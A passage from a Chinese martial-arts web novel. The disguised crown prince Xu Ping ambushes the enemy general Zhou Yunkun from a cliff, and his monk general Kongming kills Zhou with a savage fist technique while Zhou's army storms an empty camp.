你们恶鬼营全都得陪葬了。哈哈,关大明现在死也不错,起码不用被朝廷的狗腿
子折磨,哈哈!”

“什么……”饶是空名也大惊失色,再细一看,周家的大旗已经冲到大营前,
而军营外围竟然没有兵马把守。他立刻失声怒喝:“怎么回事?欧阳没有布置兵
马防御吗?”

“你们想救也来不及了!”

周云坤笑得有点癫狂,刚才的一通混战致使他身上的伤势严重。他吐了口鲜
血,任凭血水一直从嘴角流下,还是得意笑道:“给你们一个南坡,哪怕十个南
坡都可以!现在你们就算回去救都来不及了,凭你们营里的伤兵想挡我周家军的
锋芒?做梦吧!你们等着为你们的主子收尸吧!”

“哈哈!”周云坤在人墙的包围中仰天长笑,显得嚣张可恨,又让人无可奈
何。

恶鬼营上下无不恨得咬牙切齿,但这时谁都没空解决他。山下的情况悲观到
极点,即使救援都可能来不及。

纵然想诛杀狂笑不止的周云坤,空名还是捺住杀意,着急喝令:“别管这些
败军了,赶紧回援呀!”

“不管了!”陈奇顿时眼红,手里的大刀一举,喝令道:“兄弟们集合,就
算是死,我们都不能让主子身临险境!和这帮狗娘养的拼了。”

“周云坤!”空名也着急了,一看兵将们全慌了起来,立刻大吼道:“主子
的武功在我之上,你们想取他性命也没那么容易!”

两人的大喝给了大军空前信心,混乱的兵马立刻集结起来,准备往山下冲。

这时空名知道事态严重,赶紧翻身上马,再怎么想碎尸周云坤也不是这时候
;尽管恨得直咬牙,但也没空追杀他了。

“快,别管他们了!”

陈奇一看周家军已经冲进大营,顿时大惊失色,慌忙牵来一匹战马准备回去
救“哈哈!”

周云坤看所有兵马在最后关头如潮水一样往山下撤,讥讽而轻蔑地大笑起来。

这时他伤痕累累,但谁都没空杀奄奄一息的他,因为山下的周家军已经打进
营内。

“笑什么?”

一个声音带着沉静鬼魅的气息,又有几分调侃,更夹着一丝嘲讽!

“笑你们因小失大!”

周云坤话刚说完,立刻感觉不对。

这话是从背后传来的,山后是一片难以攀爬的半悬崖,恶鬼营的战士全都集
结在自己的面前往山下冲,这突来的声音轻松又有点嘲笑,绝不是残余兵将该有
的语气;而且带有浓重的京城口音根本不是自己所听过的。

“这、这……”

陈奇一听这熟悉的声音,吓得连话都说不清楚,赶紧掉转马头一望,原本慌
忙的脸上立刻写满惊喜。

“主子!”空名太熟悉这个轻佻又有点下流的声线,喜出望外地往回一看,
松了一口大气,木讷的脸上笑得和菊花盛开一样的灿烂。

“因小失大?你指的是什么?”

声线依旧那么轻松,却伴随不屑和蔑视,让人感觉很不舒服,但听在恶鬼营
众将的耳里却那么亲切,亲切得不少人都颤抖着掉下眼泪,原本紧绷的神经在这
一刻都松懈下来。

“什么人!”周云坤顿时惊慌不已,转头一看更是脸无血色。

从后山的半悬崖不知什么时候偷偷潜过来一千多人,一看黑色盔甲就知道是
恶鬼营的兵将。此时他们无不面露讥笑地看着自己。

尤其走在前面的少年最是显眼,一身标准的书生打扮,长袖细褂,看似随意
却有几分洒脱,在兵荒马乱的时候极端显眼。

秀美俊气的脸堪称是世少罕见的美少年,但这分文人气息中又有种说不清的
阳刚。不管是锐利目光还是充满睿智的微笑,都会让人莫名地不寒而栗,更别提
他鬼魅一样的邪笑。

“好人吧!”

许平摇着扇子笑呵呵地走到前面,满面嘲讽地看了看全身是伤的周云坤,啧
啧说道:“因小失大?你猜猜这话说谁比较好呢?”

“主子!”恶鬼营全军乐坏了,谁也想不到许平竟然会带着剩余的兵马从最
难攀爬的半悬崖上来。刚才的提心吊胆一下子变成不知该怎么表达的狂喜。

“你、你……”

周云坤顿时吓得无法言语。眼前的少年虽说看似轻佻随意,但却人感觉深邃
得像是见不到底的湖水,每走近一步都像是大山压迫一样,尽管他脸上总是笑着,
感觉更是骇人。

“我?”许平轻轻笑了一下,身影鬼魅一样消失在周云坤的面前,一时找不
到任何痕迹,只留下一句嘲笑般的话:“本人朱元平,投胎技术好,现在位尊大
明储君。

津门周家果然人才辈出,但你这样的傻子看起来也是不少。“

顽强挡在周云坤身前的几个伤兵都惊讶自己是不是眼花,但随着一股强风扑
面而来,顿时感觉骨头像是彻底粉碎,剧烈的疼痛还没来得及传遍每一根神经,
身体宛如失去重量般被砸飞到半空。

“人呢!”

周云坤大惊失色,眼一花,竟然看不见面前的少年。还没等看清是怎么回事,
自己身边的伤兵竟然全都飞到半空之中。

身体一晃,他突然感觉胸口热热的,有一种隐隐的疼痛,但又不是很清晰。

“周云坤,周家大将,云字辈翘楚之一,死在我手里,你也该高兴了。”

一样平和的声线,在这时却显得阴狠。

等周云坤回过神的时候,许平已经站在他的胸前,原本秀气温和的脸色变得
阴狠无比,眼里更是饱含说不尽的怨恨和愤怒,速度简直快得有些惊人。

没人看得清许平到底是怎么过去的,而这时被砸飞的伤兵才刚落地而已。冷
月的飘渺鬼步被许平练得不只是炉火纯青,更是登峰造极。

“不过如此……”

许平一声冷哼,其他人才注意到主子不知道什么时候跑到周云坤面前,手指
看似轻轻一点,竟然已经刺进他的胸口,血液正从手指间的伤口不停喷出。

“你……”周云坤瞪大眼睛不敢相信这一切,受了这么致命的伤,自己竟然
半点感觉都没有。比起空名的威猛,这种毫无声息的杀戮更是可怕。

“死去吧……”许平冷眼一看,眸光一转,突然看见关大明的尸身,顿时涌
起一股怒火。

原本杀周云坤只是为了灭口、不被空名知道真相而已,但现在看见爱将死去
也是急火攻心,他怒吼一声,手上的真气蓬勃爆开。

“老子要你不得善终!”

许平双眼渐渐发红,瞬间爆发的真气强得让人不敢直视。

“主子!”旁边的孙正农关切地呼唤一声,这还是他第一次看见许平突然发
狠,但比起关大明的死,他更在意的是能不能留下活口审问一番。

“空名,交给你了!”

许平在愤怒中留下一丝理智,手上的真气猛地爆炸,奄奄一息的周云坤立时
朝空名凌空飞去。已经无力的身躯直直砸向空名的方向,只是简单的一击却震碎
他全身经脉,即使周云坤此时察觉自己被冤枉了,但想解释也已经来不及。

“谢主子了!”

新仇旧恨呀,空名一看周云坤的身体朝自己飞过来,眼里还有着恐惧和痛苦,
心里的仇恨之火再次燃烧,立刻从马背上一跃而起,朝他冲过去。

“周云坤,我要你死无全尸!”

空名怒喝之时已经飞到周云坤的上方,两人在半空之中刚一接触,顿时散发
出强烈气劲。

空名深吸一口气后,突然眼神狰狞,肌肉有些夸张地鼓起,甚至青筋都开始
猛烈跳动;随之而来的是后背的伤口裂开,鲜血宛如泉水般喷出。

不少兵将大惊失色地喊了一声,许平则是冷眼旁观这一切。此时必须给空名
一个发泄的机会,只要周云坤说不出话,这一切就会成事实。

不管是他朋友的死,还是关大明的壮烈,都会进一步刺激这个杀神的潜力,
只要给他报仇的机会,他不至于总是失去冷静和理智,自己就能因此得到一个更
为恐怖的大将。

“屠诀。极怒!”

“死去吧!”空名怒极之时,第一次没用兵器就出击,双手疯狂绷紧,开始
挥舞强壮有力的双臂轰去。

一声声充满怨恨的狂吼伴随数之不尽的拳头狂猛轰去,几乎看不到残像,却
能隐约看见有无数的猛拳砸向周云坤身上。

如千斤重锤般的拳头把破旧的盔甲砸得四分五裂,一瞬间竟然将他的肉体砸
得完全看不见颤动的痕迹,砸得他的身体不停往下沉。

“戮诀。极恶!”

空名竟然在半空中将周云坤硬生生轰到地下,这时周云坤别说抵抗或呻吟,
身体除了被打时的抽搐之外,已经没有别的动静,显然第一波的攻击已经让他骨
碎而死。

空名站稳在地,深吸一口气,却是继续怒喝,数不清的重拳再次雨点般砸向
周云坤不知还有没有生命迹象的躯体。

狰狞的面相和残忍的狂轰、连连发出的巨大声响让,人感觉骨头都有点疼了。

不少人看着周云坤已经变形的身体被砸得镶进地里,顿时毛骨悚然。

陈奇揉了揉眼也,不知道是不是自己的错觉,总觉得空名的拳头上似乎环绕
着隐隐的血气。这和自己印象中的少林功夫似乎有点不一样,有一种说不出的残
忍。

“这……”

全军上下无不哗然,这狠毒的轰法甚至把周云坤身下的大地都打裂了。

别说这时周云坤是死是活,在空名如此狰狞的狂攻下早已血肉模糊,全身的
骨头也碎得极为零散。

“杀了你呀!”

空名把所有怨恨都发泄在周云坤的躯体上,无数的拳头蕴含沉重的力量持续
猛轰,伴随巨大声响和强大的力道,竟然硬生生把周云坤的身体轰得入地半尺。

“这……”陈奇不可置信地张大嘴,满面惊讶地说:“空名大师用的根本不
是少林武功,尽管看起来也是刚猛无比,但给人感觉却是恶毒之极,这根本是歹
毒之极的邪功。”

这时空名依旧怒吼着挥舞拳头,几乎把周云坤的身体轰得埋进地下,但他还
是继续挥拳,似乎不只要将这个仇人杀死,更是要将他碎尸万断。

所有的战士围起来看着这一幕,看到深深埋在地里那一团说不出形状的肉,
谁都感到背后一阵凉意。

只知空名的铜棍凶横无比、杀敌无数,但现在众人都觉得这恐怖而刚猛的拳
法更加吓人。

“何谓正邪?”强烈的攻势几乎把地砸穿了二尺,许平在旁边看得眼前一亮,
听到陈奇的话顿时不屑一笑,又有点轻蔑地说:“自古成者王侯败者寇,这套功
夫师出血手魔君,是他至阳至刚的战法,你觉得他的为人是正是邪呀?”

“这……”

陈奇顿时迷茫不已,但看着空名继续挥拳头、怒吼着鞭尸,还是感觉心里不
舒服。

“屠戮,战阳之二字诀!”许平眼神眯了一下,有些得意地笑道:

“这套他自己创造的功法确实不逊于一般的阳刚武功,也特别适合空名从小
习惯的猛烈之风!战场之上不需要仁慈,给了敌人活命的机会,就是威胁自己的
生命。

陈奇,你也打过不少仗,难道看不透这些道理?“

简单的几句,陈奇脸上从原本的忐忑变成冷笑。久经战场的他自然明白战争
的残酷,混迹京城更是懂得官场的黑暗;当他心痛地看着关大明的尸体时,这种
感觉更是浓烈。

功夫确实无所谓正邪之分,只有人才有善恶之别。战场之上不需要任何怜惘,
女果心存幻想就是把自己推向地狱。

“主子!”陈奇想明白了,但看着许平一副淡然,还是忍不住问道:“这功
夫,是……是魔君前辈传给他的?”

“和我无关!”

许平耸了耸肩什么都没说。本来吕镇丰想把一身邪功传给许平,但许平坚决
地拒绝了,原因很简单:老子不想做个山寨版的魔头,老子承认自己是色狼、人
渣、败类、无耻、卑鄙、下流,但坚决痛恨盗版。

“主子,您看!”这时孙正农朝山坡下一指。

顺着他的手指看过去,山下的周家军这时已经攻到军营之内,骑兵瞬间冲进
毫无防御、甚至空无一人的大营,几千兵马个个红着眼举刀杀去,一时间杀声震
天,倒是有模有样!

“一群傻B !”许平不屑地笑了笑,这周云坤不知道脑子是怎么想的。

两万主力军轰轰烈烈地打南坡,剩余的兵力又被欧阳带,走甚至大内侍卫和
御用拱卫司的人马也被派出去,在身边的兵马少得屈指可数的情况下,老子会在
那里等死吗?

津门周边是天机营和周家军犬牙交错的混战,随便来个大营自己就玩完了,
再他妈的绝世高手都会被人群殴死。

在这种情况下,谁还会老实地待在营内等死,谁就是白痴。问题是你周云坤
也太天真了吧,真以为老子会坐在那里等你来抓?就这种智商,不坑你还坑谁呀!

“坡道上赶快安排布防,我还等着看好戏呢!”

许平阴笑一下,在别人疑惑不解的目光中,拿出一支有些简陋的望远镜看向
山下大营,满面玩味地期待大戏的上演。